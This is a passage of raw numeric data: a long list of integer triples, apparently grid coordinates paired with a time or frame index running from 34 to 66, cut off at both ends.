11, 34],[7, 11, 34],[5, 12, 34],[6, 12, 34],[6, 15, 34],[8, 15, 34],[7, 16, 34],[8, 16, 34],[27, 16, 34],[28, 16, 34],[6, 17, 34],[27, 17, 34],[28, 17, 34],[24, 19, 34],[25, 19, 34],[31, 19, 34],[32, 19, 34],[15, 20, 34],[17, 20, 34],[24, 20, 34],[25, 20, 34],[31, 20, 34],[32, 20, 34],[16, 21, 34],[17, 21, 34],[16, 22, 34],[20, 25, 34],[21, 25, 34],[20, 26, 34],[21, 27, 34],[22, 27, 34],[23, 27, 34],[23, 28, 34],[9, 0, 35],[9, 1, 35],[10, 1, 35],[11, 1, 35],[12, 2, 35],[11, 3, 35],[12, 3, 35],[7, 7, 35],[8, 7, 35],[0, 8, 35],[1, 8, 35],[5, 8, 35],[6, 8, 35],[9, 8, 35],[0, 9, 35],[1, 9, 35],[10, 9, 35],[4, 10, 35],[9, 10, 35],[4, 11, 35],[8, 11, 35],[5, 12, 35],[7, 12, 35],[8, 15, 35],[6, 16, 35],[8, 16, 35],[27, 16, 35],[28, 16, 35],[7, 17, 35],[27, 17, 35],[28, 17, 35],[24, 19, 35],[25, 19, 35],[31, 19, 35],[32, 19, 35],[17, 20, 35],[24, 20, 35],[25, 20, 35],[31, 20, 35],[32, 20, 35],[15, 21, 35],[17, 21, 35],[16, 22, 35],[17, 22, 35],[20, 25, 35],[21, 25, 35],[20, 26, 35],[21, 27, 35],[22, 27, 35],[23, 27, 35],[23, 28, 35],[9, 0, 36],[9, 1, 36],[10, 1, 36],[11, 1, 36],[12, 2, 36],[11, 3, 36],[12, 3, 36],[6, 7, 36],[7, 7, 36],[8, 7, 36],[0, 8, 36],[1, 8, 36],[6, 8, 36],[7, 8, 36],[8, 8, 36],[9, 8, 36],[0, 9, 36],[1, 9, 36],[5, 9, 36],[9, 9, 36],[10, 9, 36],[9, 10, 36],[4, 11, 36],[5, 11, 36],[8, 11, 36],[7, 15, 36],[8, 16, 36],[27, 16, 36],[28, 16, 36],[7, 17, 36],[27, 17, 36],[28, 17, 36],[24, 19, 36],[25, 19, 36],[31, 19, 36],[32, 19, 36],[16, 20, 36],[24, 20, 36],[25, 20, 36],[31, 20, 36],[32, 20, 36],[17, 21, 36],[18, 21, 36],[16, 22, 36],[17, 22, 36],[20, 25, 36],[21, 25, 36],[20, 26, 36],[21, 27, 36],[22, 27, 36],[23, 27, 36],[23, 28, 36],[9, 0, 37],[9, 1, 37],[10, 1, 37],[11, 1, 37],[12, 2, 37],[11, 3, 37],[12, 3, 37],[7, 6, 37],[6, 7, 37],[9, 7, 37],[0, 8, 37],[1, 8, 37],[5, 8, 37],[10, 8, 37],[0, 9, 37],[1, 9, 37],[6, 9, 37],[7, 9, 37],[10, 9, 37],[4, 10, 37],[5, 10, 37],[8, 10, 37],[9, 10, 37],[10, 10, 37],[7, 16, 37],[8, 16, 37],[27, 16, 37],[28, 16, 37],[27, 17, 37],[28, 17, 37],[24, 19, 37],[25, 19, 37],[31, 19, 37],[32, 19, 37],[17, 20, 37],[24, 20, 37],[25, 20, 37],[31, 20, 37],[32, 20, 37],[18, 21, 37],[16, 22, 37],[17, 22, 37],[18, 22, 37],[20, 25, 37],[21, 25, 37],[20, 26, 37],[21, 27, 37],[22, 27, 37],[23, 27, 37],[23, 28, 37],[9, 0, 38],[9, 1, 38],[10, 1, 38],[11, 1, 38],[12, 2, 38],[11, 3, 38],[12, 3, 38],[6, 7, 38],[0, 8, 38],[1, 8, 38],[5, 8, 38],[7, 8, 38],[9, 8, 38],[10, 8, 38],[0, 9, 38],[1, 9, 38],[4, 9, 38],[6, 9, 38],[7, 9, 38],[8, 9, 38],[10, 9, 38],[11, 9, 38],[5, 10, 38],[6, 10, 38],[7, 10, 38],[8, 10, 38],[9, 10, 38],[10, 10, 38],[9, 11, 38],[27, 16, 38],[28, 16, 38],[27, 17, 38],[28, 17, 38],[24, 19, 38],[25, 19, 38],[31, 19, 38],[32, 19, 38],[24, 20, 38],[25, 20, 38],[31, 20, 38],[32, 20, 38],[16, 21, 38],[18, 21, 38],[17, 22, 38],[18, 22, 38],[17, 23, 38],[20, 25, 38],[21, 25, 38],[20, 26, 38],[21, 27, 38],[22, 27, 38],[23, 27, 38],[23, 28, 38],[9, 0, 39],[9, 1, 39],[10, 1, 39],[11, 1, 39],[12, 2, 39],[11, 3, 39],[12, 3, 39],[6, 7, 39],[0, 8, 39],[1, 8, 39],[5, 8, 39],[9, 8, 39],[10, 8, 39],[11, 8, 39],[0, 9, 39],[1, 9, 39],[4, 9, 39],[11, 9, 39],[5, 10, 39],[11, 10, 39],[6, 11, 39],[7, 11, 39],[9, 11, 39],[10, 11, 39],[27, 16, 39],[28, 16, 39],[27, 17, 39],[28, 17, 39],[24, 19, 39],[25, 19, 39],[31, 19, 39],[32, 19, 39],[24, 20, 39],[25, 20, 39],[31, 20, 39],[32, 20, 39],[18, 21, 39],[16, 22, 39],[18, 22, 39],[17, 23, 39],[18, 23, 39],[20, 25, 39],[21, 25, 39],[20, 26, 39],[21, 27, 39],[22, 27, 39],[23, 27, 39],[23, 28, 39],[9, 0, 40],[9, 1, 40],[10, 1, 40],[11, 1, 40],[12, 2, 40],[11, 3, 40],[12, 3, 40],[10, 7, 40],[0, 8, 40],[1, 8, 40],[5, 8, 40],[10, 8, 40],[11, 8, 40],[0, 9, 40],[1, 9, 40],[4, 9, 40],[5, 9, 40],[11, 9, 40],[12, 9, 40],[5, 10, 40],[6, 10, 40],[11, 10, 40],[6, 11, 40],[10, 11, 40],[27, 16, 40],[28, 16, 40],[27, 17, 40],[28, 17, 40],[24, 19, 40],[25, 19, 40],[31, 19, 40],[32, 19, 40],[24, 20, 40],[25, 20, 40],[31, 20, 40],[32, 20, 40],[17, 21, 40],[18, 22, 40],[19, 22, 40],[17, 23, 40],[18, 23, 40],[20, 25, 40],[21, 25, 40],[20, 26, 40],[21, 27, 40],[22, 27, 40],[23, 27, 40],[23, 28, 40],[9, 0, 41],[9, 1, 41],[10, 1, 41],[11, 1, 41],[12, 2, 41],[11, 3, 41],[12, 3, 41],[10, 7, 41],[11, 7, 41],[0, 8, 41],[1, 8, 41],[4, 8, 41],[5, 8, 41],[10, 8, 41],[12, 8, 41],[0, 9, 41],[1, 9, 41],[4, 9, 41],[12, 9, 41],[4, 10, 41],[6, 10, 41],[10, 10, 41],[11, 10, 41],[12, 10, 41],[5, 11, 41],[6, 11, 41],[27, 16, 41],[28, 16, 41],[27, 17, 41],[28, 17, 41],[24, 19, 41],[25, 19, 41],[31, 19, 41],[32, 19, 41],[24, 20, 41],[25, 20, 41],[31, 20, 41],[32, 20, 41],[18, 21, 41],[19, 22, 41],[17, 23, 41],[18, 23, 41],[19, 23, 41],[20, 25, 41],[21, 25, 41],[20, 26, 41],[21, 27, 41],[22, 27, 41],[23, 27, 41],[23, 28, 41],[9, 0, 42],[9, 1, 42],[10, 1, 42],[11, 1, 42],[12, 2, 42],[11, 3, 42],[12, 3, 42],[10, 7, 42],[11, 7, 42],[0, 8, 42],[1, 8, 42],[4, 8, 42],[5, 8, 42],[10, 8, 42],[12, 8, 42],[0, 9, 42],[1, 9, 42],[3, 9, 42],[4, 9, 42],[10, 9, 42],[12, 9, 42],[13, 9, 42],[4, 10, 42],[6, 10, 42],[11, 10, 42],[12, 10, 42],[5, 11, 42],[6, 11, 42],[11, 11, 42],[27, 16, 42],[28, 16, 42],[27, 17, 42],[28, 17, 42],[24, 19, 42],[25, 19, 42],[31, 19, 42],[32, 19, 42],[24, 20, 42],[25, 20, 42],[31, 20, 42],[32, 20, 42],[17, 22, 42],[19, 22, 42],[18, 23, 42],[19, 23, 42],[18, 24, 42],[19, 24, 42],[20, 24, 42],[20, 25, 42],[21, 25, 42],[20, 26, 42],[21, 27, 42],[22, 27, 42],[23, 27, 42],[23, 28, 42],[9, 0, 43],[9, 1, 43],[10, 1, 43],[11, 1, 43],[12, 2, 43],[11, 3, 43],[12, 3, 43],[10, 7, 43],[11, 7, 43],[0, 8, 43],[1, 8, 43],[2, 8, 43],[3, 8, 43],[4, 8, 43],[5, 8, 43],[9, 8, 43],[10, 8, 43],[12, 8, 43],[13, 8, 43],[0, 9, 43],[1, 9, 43],[2, 9, 43],[3, 9, 43],[10, 9, 43],[13, 9, 43],[3, 10, 43],[4, 10, 43],[6, 10, 43],[10, 10, 43],[13, 10, 43],[5, 11, 43],[6, 11, 43],[11, 11, 43],[12, 11, 43],[27, 16, 43],[28, 16, 43],[27, 17, 43],[28, 17, 43],[24, 19, 43],[25, 19, 43],[31, 19, 43],[32, 19, 43],[24, 20, 43],[25, 20, 43],[31, 20, 43],[32, 20, 43],[19, 22, 43],[17, 23, 43],[18, 24, 43],[21, 24, 43],[21, 25, 43],[20, 26, 43],[21, 27, 43],[22, 27, 43],[23, 27, 43],[23, 28, 43],[9, 0, 44],[9, 1, 44],[10, 1, 44],[11, 1, 44],[12, 2, 44],[11, 3, 44],[12, 3, 44],[1, 7, 44],[2, 7, 44],[3, 7, 44],[4, 7, 44],[9, 7, 44],[10, 7, 44],[11, 7, 44],[12, 7, 44],[0, 8, 44],[4, 8, 44],[9, 8, 44],[12, 8, 44],[13, 8, 44],[0, 9, 44],[10, 9, 44],[13, 9, 44],[14, 9, 44],[1, 10, 44],[3, 10, 44],[4, 10, 44],[6, 10, 44],[10, 10, 44],[13, 10, 44],[4, 11, 44],[5, 11, 44],[6, 11, 44],[11, 11, 44],[12, 11, 44],[27, 16, 44],[28, 16, 44],[27, 17, 44],[28, 17, 44],[24, 19, 44],[25, 19, 44],[31, 19, 44],[32, 19, 44],[24, 20, 44],[25, 20, 44],[31, 20, 44],[32, 20, 44],[18, 23, 44],[20, 25, 44],[21, 25, 44],[20, 26, 44],[21, 27, 44],[22, 27, 44],[23, 27, 44],[23, 28, 44],[9, 0, 45],[9, 1, 45],[10, 1, 45],[11, 1, 45],[12, 2, 45],[11, 3, 45],[12, 3, 45],[2, 6, 45],[3, 6, 45],[10, 6, 45],[11, 6, 45],[1, 7, 45],[2, 7, 45],[3, 7, 45],[4, 7, 45],[9, 7, 45],[10, 7, 45],[11, 7, 45],[12, 7, 45],[13, 7, 45],[0, 8, 45],[2, 8, 45],[4, 8, 45],[9, 8, 45],[14, 8, 45],[0, 9, 45],[1, 9, 45],[3, 9, 45],[4, 9, 45],[5, 9, 45],[9, 9, 45],[10, 9, 45],[11, 9, 45],[14, 9, 45],[3, 10, 45],[4, 10, 45],[6, 10, 45],[10, 10, 45],[13, 10, 45],[14, 10, 45],[3, 11, 45],[4, 11, 45],[6, 11, 45],[11, 11, 45],[12, 11, 45],[5, 12, 45],[27, 16, 45],[28, 16, 45],[27, 17, 45],[28, 17, 45],[24, 19, 45],[25, 19, 45],[31, 19, 45],[32, 19, 45],[24, 20, 45],[25, 20, 45],[31, 20, 45],[32, 20, 45],[20, 25, 45],[21, 25, 45],[20, 26, 45],[21, 27, 45],[22, 27, 45],[23, 27, 45],[23, 28, 45],[9, 0, 46],[9, 1, 46],[10, 1, 46],[11, 1, 46],[12, 2, 46],[11, 3, 46],[12, 3, 46],[1, 6, 46],[4, 6, 46],[9, 6, 46],[4, 7, 46],[9, 7, 46],[12, 7, 46],[13, 7, 46],[0, 8, 46],[8, 8, 46],[14, 8, 46],[0, 9, 46],[1, 9, 46],[9, 9, 46],[11, 9, 46],[14, 9, 46],[15, 9, 46],[6, 10, 46],[9, 10, 46],[13, 10, 46],[14, 10, 46],[3, 11, 46],[6, 11, 46],[11, 11, 46],[12, 11, 46],[13, 11, 46],[4, 12, 46],[5, 12, 46],[27, 16, 46],[28, 16, 46],[27, 17, 46],[28, 17, 46],[24, 19, 46],[25, 19, 46],[31, 19, 46],[32, 19, 46],[24, 20, 46],[25, 20, 46],[31, 20, 46],[32, 20, 46],[20, 25, 46],[21, 25, 46],[20, 26, 46],[21, 27, 46],[22, 27, 46],[23, 27, 46],[23, 28, 46],[9, 0, 47],[9, 1, 47],[10, 1, 47],[11, 1, 47],[12, 2, 47],[11, 3, 47],[12, 3, 47],[8, 7, 47],[9, 7, 47],[13, 7, 47],[0, 8, 47],[1, 8, 47],[8, 8, 47],[9, 8, 47],[10, 8, 47],[12, 8, 47],[14, 8, 47],[15, 8, 47],[0, 9, 47],[1, 9, 47],[8, 9, 47],[9, 9, 47],[10, 9, 47],[15, 9, 47],[11, 10, 47],[15, 10, 47],[4, 11, 47],[6, 11, 47],[12, 11, 47],[13, 11, 47],[14, 11, 47],[4, 12, 47],[5, 12, 47],[12, 12, 47],[27, 16, 47],[28, 16, 47],[27, 17, 47],[28, 17, 47],[24, 19, 47],[25, 19, 47],[31, 19, 47],[32, 19, 47],[24, 20, 47],[25, 20, 47],[31, 20, 47],[32, 20, 47],[20, 25, 47],[21, 25, 47],[20, 26, 47],[21, 27, 47],[22, 27, 47],[23, 27, 47],[23, 28, 47],[9, 0, 48],[9, 1, 48],[10, 1, 48],[11, 1, 48],[12, 2, 48],[11, 3, 48],[12, 3, 48],[8, 7, 48],[10, 7, 48],[13, 7, 48],[14, 7, 48],[0, 8, 48],[1, 8, 48],[7, 8, 48],[11, 8, 48],[13, 8, 48],[14, 8, 48],[15, 8, 48],[0, 9, 48],[1, 9, 48],[8, 9, 48],[15, 9, 48],[16, 9, 48],[9, 10, 48],[10, 10, 48],[11, 10, 48],[12, 10, 48],[13, 10, 48],[15, 10, 48],[4, 11, 48],[11, 11, 48],[12, 11, 48],[13, 11, 48],[14, 11, 48],[4, 12, 48],[5, 12, 48],[12, 12, 48],[27, 16, 48],[28, 16, 48],[27, 17, 48],[28, 17, 48],[24, 19, 48],[25, 19, 48],[31, 19, 48],[32, 19, 48],[24, 20, 48],[25, 20, 48],[31, 20, 48],[32, 20, 48],[20, 25, 48],[21, 25, 48],[20, 26, 48],[21, 27, 48],[22, 27, 48],[23, 27, 48],[23, 28, 48],[9, 0, 49],[9, 1, 49],[10, 1, 49],[11, 1, 49],[12, 2, 49],[11, 3, 49],[12, 3, 49],[12, 7, 49],[13, 7, 49],[15, 7, 49],[0, 8, 49],[1, 8, 49],[7, 8, 49],[8, 8, 49],[9, 8, 49],[12, 8, 49],[13, 8, 49],[16, 8, 49],[0, 9, 49],[1, 9, 49],[8, 9, 49],[9, 9, 49],[16, 9, 49],[9, 10, 49],[10, 10, 49],[15, 10, 49],[16, 10, 49],[4, 11, 49],[5, 11, 49],[14, 11, 49],[4, 12, 49],[5, 12, 49],[11, 12, 49],[12, 12, 49],[27, 16, 49],[28, 16, 49],[27, 17, 49],[28, 17, 49],[24, 19, 49],[25, 19, 49],[31, 19, 49],[32, 19, 49],[24, 20, 49],[25, 20, 49],[31, 20, 49],[32, 20, 49],[20, 25, 49],[21, 25, 49],[20, 26, 49],[21, 27, 49],[22, 27, 49],[23, 27, 49],[23, 28, 49],[9, 0, 50],[9, 1, 50],[10, 1, 50],[11, 1, 50],[12, 2, 50],[11, 3, 50],[12, 3, 50],[8, 7, 50],[12, 7, 50],[13, 7, 50],[14, 7, 50],[0, 8, 50],[1, 8, 50],[7, 8, 50],[9, 8, 50],[12, 8, 50],[13, 8, 50],[14, 8, 50],[15, 8, 50],[16, 8, 50],[0, 9, 50],[1, 9, 50],[7, 9, 50],[16, 9, 50],[17, 9, 50],[8, 10, 50],[9, 10, 50],[10, 10, 50],[15, 10, 50],[16, 10, 50],[4, 11, 50],[5, 11, 50],[10, 11, 50],[11, 11, 50],[15, 11, 50],[4, 12, 50],[5, 12, 50],[27, 16, 50],[28, 16, 50],[27, 17, 50],[28, 17, 50],[24, 19, 50],[25, 19, 50],[31, 19, 50],[32, 19, 50],[24, 20, 50],[25, 20, 50],[31, 20, 50],[32, 20, 50],[20, 25, 50],[21, 25, 50],[20, 26, 50],[21, 27, 50],[22, 27, 50],[23, 27, 50],[23, 28, 50],[9, 0, 51],[9, 1, 51],[10, 1, 51],[11, 1, 51],[12, 2, 51],[11, 3, 51],[12, 3, 51],[13, 6, 51],[8, 7, 51],[12, 7, 51],[0, 8, 51],[1, 8, 51],[7, 8, 51],[12, 8, 51],[16, 8, 51],[17, 8, 51],[0, 9, 51],[1, 9, 51],[7, 9, 51],[10, 9, 51],[13, 9, 51],[17, 9, 51],[8, 10, 51],[9, 10, 51],[10, 10, 51],[11, 10, 51],[15, 10, 51],[17, 10, 51],[4, 11, 51],[5, 11, 51],[10, 11, 51],[11, 11, 51],[15, 11, 51],[16, 11, 51],[4, 12, 51],[5, 12, 51],[27, 16, 51],[28, 16, 51],[27, 17, 51],[28, 17, 51],[24, 19, 51],[25, 19, 51],[31, 19, 51],[32, 19, 51],[24, 20, 51],[25, 20, 51],[31, 20, 51],[32, 20, 51],[20, 25, 51],[21, 25, 51],[20, 26, 51],[21, 27, 51],[22, 27, 51],[23, 27, 51],[23, 28, 51],[9, 0, 52],[9, 1, 52],[10, 1, 52],[11, 1, 52],[12, 2, 52],[11, 3, 52],[12, 3, 52],[12, 7, 52],[13, 7, 52],[0, 8, 52],[1, 8, 52],[7, 8, 52],[8, 8, 52],[11, 8, 52],[12, 8, 52],[13, 8, 52],[16, 8, 52],[17, 8, 52],[0, 9, 52],[1, 9, 52],[7, 9, 52],[10, 9, 52],[12, 9, 52],[17, 9, 52],[18, 9, 52],[8, 10, 52],[12, 10, 52],[14, 10, 52],[15, 10, 52],[17, 10, 52],[4, 11, 52],[5, 11, 52],[11, 11, 52],[15, 11, 52],[16, 11, 52],[4, 12, 52],[5, 12, 52],[27, 16, 52],[28, 16, 52],[27, 17, 52],[28, 17, 52],[24, 19, 52],[25, 19, 52],[31, 19, 52],[32, 19, 52],[24, 20, 52],[25, 20, 52],[31, 20, 52],[32, 20, 52],[20, 25, 52],[21, 25, 52],[20, 26, 52],[21, 27, 52],[22, 27, 52],[23, 27, 52],[23, 28, 52],[9, 0, 53],[9, 1, 53],[10, 1, 53],[11, 1, 53],[12, 2, 53],[11, 3, 53],[12, 3, 53],[11, 7, 53],[13, 7, 53],[0, 8, 53],[1, 8, 53],[7, 8, 53],[8, 8, 53],[16, 8, 53],[17, 8, 53],[18, 8, 53],[0, 9, 53],[1, 9, 53],[7, 9, 53],[9, 9, 53],[14, 9, 53],[15, 9, 53],[18, 9, 53],[12, 10, 53],[13, 10, 53],[14, 10, 53],[15, 10, 53],[17, 10, 53],[18, 10, 53],[4, 11, 53],[5, 11, 53],[14, 11, 53],[15, 11, 53],[16, 11, 53],[4, 12, 53],[5, 12, 53],[27, 16, 53],[28, 16, 53],[27, 17, 53],[28, 17, 53],[24, 19, 53],[25, 19, 53],[31, 19, 53],[32, 19, 53],[24, 20, 53],[25, 20, 53],[31, 20, 53],[32, 20, 53],[20, 25, 53],[21, 25, 53],[20, 26, 53],[21, 27, 53],[22, 27, 53],[23, 27, 53],[23, 28, 53],[9, 0, 54],[9, 1, 54],[10, 1, 54],[11, 1, 54],[12, 2, 54],[11, 3, 54],[12, 3, 54],[17, 7, 54],[0, 8, 54],[1, 8, 54],[7, 8, 54],[8, 8, 54],[14, 8, 54],[15, 8, 54],[16, 8, 54],[17, 8, 54],[18, 8, 54],[0, 9, 54],[1, 9, 54],[7, 9, 54],[19, 9, 54],[17, 10, 54],[18, 10, 54],[4, 11, 54],[5, 11, 54],[16, 11, 54],[17, 11, 54],[4, 12, 54],[5, 12, 54],[15, 12, 54],[27, 16, 54],[28, 16, 54],[27, 17, 54],[28, 17, 54],[24, 19, 54],[25, 19, 54],[31, 19, 54],[32, 19, 54],[24, 20, 54],[25, 20, 54],[31, 20, 54],[32, 20, 54],[20, 25, 54],[21, 25, 54],[20, 26, 54],[21, 27, 54],[22, 27, 54],[23, 27, 54],[23, 28, 54],[9, 0, 55],[9, 1, 55],[10, 1, 55],[11, 1, 55],[12, 2, 55],[11, 3, 55],[12, 3, 55],[15, 7, 55],[17, 7, 55],[18, 7, 55],[0, 8, 55],[1, 8, 55],[7, 8, 55],[8, 8, 55],[15, 8, 55],[16, 8, 55],[17, 8, 55],[18, 8, 55],[0, 9, 55],[1, 9, 55],[7, 9, 55],[8, 9, 55],[15, 9, 55],[19, 9, 55],[16, 10, 55],[17, 10, 55],[18, 10, 55],[4, 11, 55],[5, 11, 55],[16, 11, 55],[17, 11, 55],[18, 11, 55],[4, 12, 55],[5, 12, 55],[16, 12, 55],[27, 16, 55],[28, 16, 55],[27, 17, 55],[28, 17, 55],[24, 19, 55],[25, 19, 55],[31, 19, 55],[32, 19, 55],[24, 20, 55],[25, 20, 55],[31, 20, 55],[32, 20, 55],[20, 25, 55],[21, 25, 55],[20, 26, 55],[21, 27, 55],[22, 27, 55],[23, 27, 55],[23, 28, 55],[9, 0, 56],[9, 1, 56],[10, 1, 56],[11, 1, 56],[12, 2, 56],[11, 3, 56],[12, 3, 56],[15, 7, 56],[18, 7, 56],[0, 8, 56],[1, 8, 56],[7, 8, 56],[8, 8, 56],[14, 8, 56],[15, 8, 56],[19, 8, 56],[0, 9, 56],[1, 9, 56],[7, 9, 56],[8, 9, 56],[15, 9, 56],[19, 9, 56],[15, 10, 56],[19, 10, 56],[4, 11, 56],[5, 11, 56],[15, 11, 56],[18, 11, 56],[4, 12, 56],[5, 12, 56],[16, 12, 56],[27, 16, 56],[28, 16, 56],[27, 17, 56],[28, 17, 56],[24, 19, 56],[25, 19, 56],[31, 19, 56],[32, 19, 56],[24, 20, 56],[25, 20, 56],[31, 20, 56],[32, 20, 56],[20, 25, 56],[21, 25, 56],[20, 26, 56],[21, 27, 56],[22, 27, 56],[23, 27, 56],[23, 28, 56],[9, 0, 57],[9, 1, 57],[10, 1, 57],[11, 1, 57],[12, 2, 57],[11, 3, 57],[12, 3, 57],[14, 7, 57],[15, 7, 57],[0, 8, 57],[1, 8, 57],[7, 8, 57],[8, 8, 57],[14, 8, 57],[15, 8, 57],[16, 8, 57],[18, 8, 57],[19, 8, 57],[0, 9, 57],[1, 9, 57],[7, 9, 57],[8, 9, 57],[15, 9, 57],[16, 9, 57],[18, 9, 57],[19, 9, 57],[20, 9, 57],[14, 10, 57],[15, 10, 57],[16, 10, 57],[18, 10, 57],[19, 10, 57],[4, 11, 57],[5, 11, 57],[15, 11, 57],[16, 11, 57],[4, 12, 57],[5, 12, 57],[27, 16, 57],[28, 16, 57],[27, 17, 57],[28, 17, 57],[24, 19, 57],[25, 19, 57],[31, 19, 57],[32, 19, 57],[24, 20, 57],[25, 20, 57],[31, 20, 57],[32, 20, 57],[20, 25, 57],[21, 25, 57],[20, 26, 57],[21, 27, 57],[22, 27, 57],[23, 27, 57],[23, 28, 57],[9, 0, 58],[9, 1, 58],[10, 1, 58],[11, 1, 58],[12, 2, 58],[11, 3, 58],[12, 3, 58],[14, 7, 58],[16, 7, 58],[0, 8, 58],[1, 8, 58],[7, 8, 58],[8, 8, 58],[18, 8, 58],[20, 8, 58],[0, 9, 58],[1, 9, 58],[7, 9, 58],[8, 9, 58],[20, 9, 58],[14, 10, 58],[18, 10, 58],[20, 10, 58],[4, 11, 58],[5, 11, 58],[14, 11, 58],[16, 11, 58],[17, 11, 58],[4, 12, 58],[5, 12, 58],[27, 16, 58],[28, 16, 58],[27, 17, 58],[28, 17, 58],[24, 19, 58],[25, 19, 58],[31, 19, 58],[32, 19, 58],[24, 20, 58],[25, 20, 58],[31, 20, 58],[32, 20, 58],[20, 25, 58],[21, 25, 58],[20, 26, 58],[21, 27, 58],[22, 27, 58],[23, 27, 58],[23, 28, 58],[9, 0, 59],[9, 1, 59],[10, 1, 59],[11, 1, 59],[12, 2, 59],[11, 3, 59],[12, 3, 59],[0, 8, 59],[1, 8, 59],[7, 8, 59],[8, 8, 59],[19, 8, 59],[0, 9, 59],[1, 9, 59],[7, 9, 59],[8, 9, 59],[20, 9, 59],[21, 9, 59],[15, 10, 59],[17, 10, 59],[19, 10, 59],[4, 11, 59],[5, 11, 59],[15, 11, 59],[17, 11, 59],[4, 12, 59],[5, 12, 59],[27, 16, 59],[28, 16, 59],[27, 17, 59],[28, 17, 59],[24, 19, 59],[25, 19, 59],[31, 19, 59],[32, 19, 59],[24, 20, 59],[25, 20, 59],[31, 20, 59],[32, 20, 59],[20, 25, 59],[21, 25, 59],[20, 26, 59],[21, 27, 59],[22, 27, 59],[23, 27, 59],[23, 28, 59],[9, 0, 60],[9, 1, 60],[10, 1, 60],[11, 1, 60],[12, 2, 60],[11, 3, 60],[12, 3, 60],[0, 8, 60],[1, 8, 60],[7, 8, 60],[8, 8, 60],[20, 8, 60],[0, 9, 60],[1, 9, 60],[7, 9, 60],[8, 9, 60],[18, 9, 60],[19, 9, 60],[20, 9, 60],[18, 10, 60],[20, 10, 60],[4, 11, 60],[5, 11, 60],[18, 11, 60],[4, 12, 60],[5, 12, 60],[27, 16, 60],[28, 16, 60],[27, 17, 60],[28, 17, 60],[24, 19, 60],[25, 19, 60],[31, 19, 60],[32, 19, 60],[24, 20, 60],[25, 20, 60],[31, 20, 60],[32, 20, 60],[20, 25, 60],[21, 25, 60],[20, 26, 60],[21, 27, 60],[22, 27, 60],[23, 27, 60],[23, 28, 60],[9, 0, 61],[9, 1, 61],[10, 1, 61],[11, 1, 61],[12, 2, 61],[11, 3, 61],[12, 3, 61],[0, 8, 61],[1, 8, 61],[7, 8, 61],[8, 8, 61],[20, 8, 61],[0, 9, 61],[1, 9, 61],[7, 9, 61],[8, 9, 61],[18, 9, 61],[20, 9, 61],[21, 9, 61],[17, 10, 61],[18, 10, 61],[20, 10, 61],[4, 11, 61],[5, 11, 61],[19, 11, 61],[4, 12, 61],[5, 12, 61],[27, 16, 61],[28, 16, 61],[27, 17, 61],[28, 17, 61],[24, 19, 61],[25, 19, 61],[31, 19, 61],[32, 19, 61],[24, 20, 61],[25, 20, 61],[31, 20, 61],[32, 20, 61],[20, 25, 61],[21, 25, 61],[20, 26, 61],[21, 27, 61],[22, 27, 61],[23, 27, 61],[23, 28, 61],[9, 0, 62],[9, 1, 62],[10, 1, 62],[11, 1, 62],[12, 2, 62],[11, 3, 62],[12, 3, 62],[0, 8, 62],[1, 8, 62],[7, 8, 62],[8, 8, 62],[19, 8, 62],[20, 8, 62],[21, 8, 62],[0, 9, 62],[1, 9, 62],[7, 9, 62],[8, 9, 62],[17, 9, 62],[18, 9, 62],[20, 9, 62],[21, 9, 62],[17, 10, 62],[18, 10, 62],[20, 10, 62],[21, 10, 62],[4, 11, 62],[5, 11, 62],[18, 11, 62],[19, 11, 62],[4, 12, 62],[5, 12, 62],[27, 16, 62],[28, 16, 62],[27, 17, 62],[28, 17, 62],[24, 19, 62],[25, 19, 62],[31, 19, 62],[32, 19, 62],[24, 20, 62],[25, 20, 62],[31, 20, 62],[32, 20, 62],[20, 25, 62],[21, 25, 62],[20, 26, 62],[21, 27, 62],[22, 27, 62],[23, 27, 62],[23, 28, 62],[9, 0, 63],[9, 1, 63],[10, 1, 63],[11, 1, 63],[12, 2, 63],[11, 3, 63],[12, 3, 63],[20, 7, 63],[0, 8, 63],[1, 8, 63],[7, 8, 63],[8, 8, 63],[18, 8, 63],[19, 8, 63],[21, 8, 63],[0, 9, 63],[1, 9, 63],[7, 9, 63],[8, 9, 63],[17, 9, 63],[22, 9, 63],[21, 10, 63],[4, 11, 63],[5, 11, 63],[17, 11, 63],[18, 11, 63],[19, 11, 63],[20, 11, 63],[4, 12, 63],[5, 12, 63],[27, 16, 63],[28, 16, 63],[27, 17, 63],[28, 17, 63],[24, 19, 63],[25, 19, 63],[31, 19, 63],[32, 19, 63],[24, 20, 63],[25, 20, 63],[31, 20, 63],[32, 20, 63],[20, 25, 63],[21, 25, 63],[20, 26, 63],[21, 27, 63],[22, 27, 63],[23, 27, 63],[23, 28, 63],[9, 0, 64],[9, 1, 64],[10, 1, 64],[11, 1, 64],[12, 2, 64],[11, 3, 64],[12, 3, 64],[19, 7, 64],[20, 7, 64],[0, 8, 64],[1, 8, 64],[7, 8, 64],[8, 8, 64],[18, 8, 64],[19, 8, 64],[20, 8, 64],[21, 8, 64],[0, 9, 64],[1, 9, 64],[7, 9, 64],[8, 9, 64],[18, 9, 64],[20, 9, 64],[21, 9, 64],[22, 9, 64],[17, 10, 64],[19, 10, 64],[20, 10, 64],[21, 10, 64],[4, 11, 64],[5, 11, 64],[18, 11, 64],[19, 11, 64],[20, 11, 64],[4, 12, 64],[5, 12, 64],[18, 12, 64],[19, 12, 64],[27, 16, 64],[28, 16, 64],[27, 17, 64],[28, 17, 64],[24, 19, 64],[25, 19, 64],[31, 19, 64],[32, 19, 64],[24, 20, 64],[25, 20, 64],[31, 20, 64],[32, 20, 64],[20, 25, 64],[21, 25, 64],[20, 26, 64],[21, 27, 64],[22, 27, 64],[23, 27, 64],[23, 28, 64],[9, 0, 65],[9, 1, 65],[10, 1, 65],[11, 1, 65],[12, 2, 65],[11, 3, 65],[12, 3, 65],[18, 7, 65],[21, 7, 65],[0, 8, 65],[1, 8, 65],[7, 8, 65],[8, 8, 65],[18, 8, 65],[22, 8, 65],[0, 9, 65],[1, 9, 65],[7, 9, 65],[8, 9, 65],[17, 9, 65],[22, 9, 65],[17, 10, 65],[22, 10, 65],[4, 11, 65],[5, 11, 65],[17, 11, 65],[21, 11, 65],[4, 12, 65],[5, 12, 65],[18, 12, 65],[20, 12, 65],[27, 16, 65],[28, 16, 65],[27, 17, 65],[28, 17, 65],[24, 19, 65],[25, 19, 65],[31, 19, 65],[32, 19, 65],[24, 20, 65],[25, 20, 65],[31, 20, 65],[32, 20, 65],[20, 25, 65],[21, 25, 65],[20, 26, 65],[21, 27, 65],[22, 27, 65],[23, 27, 65],[23, 28, 65],[9, 0, 66],[9, 1, 66],[10, 1, 66],[11, 1, 66],[12, 2, 66],[11, 3, 66],[12, 3, 66],[0, 8, 66],[1, 8, 66],[7, 8, 66],[8, 8, 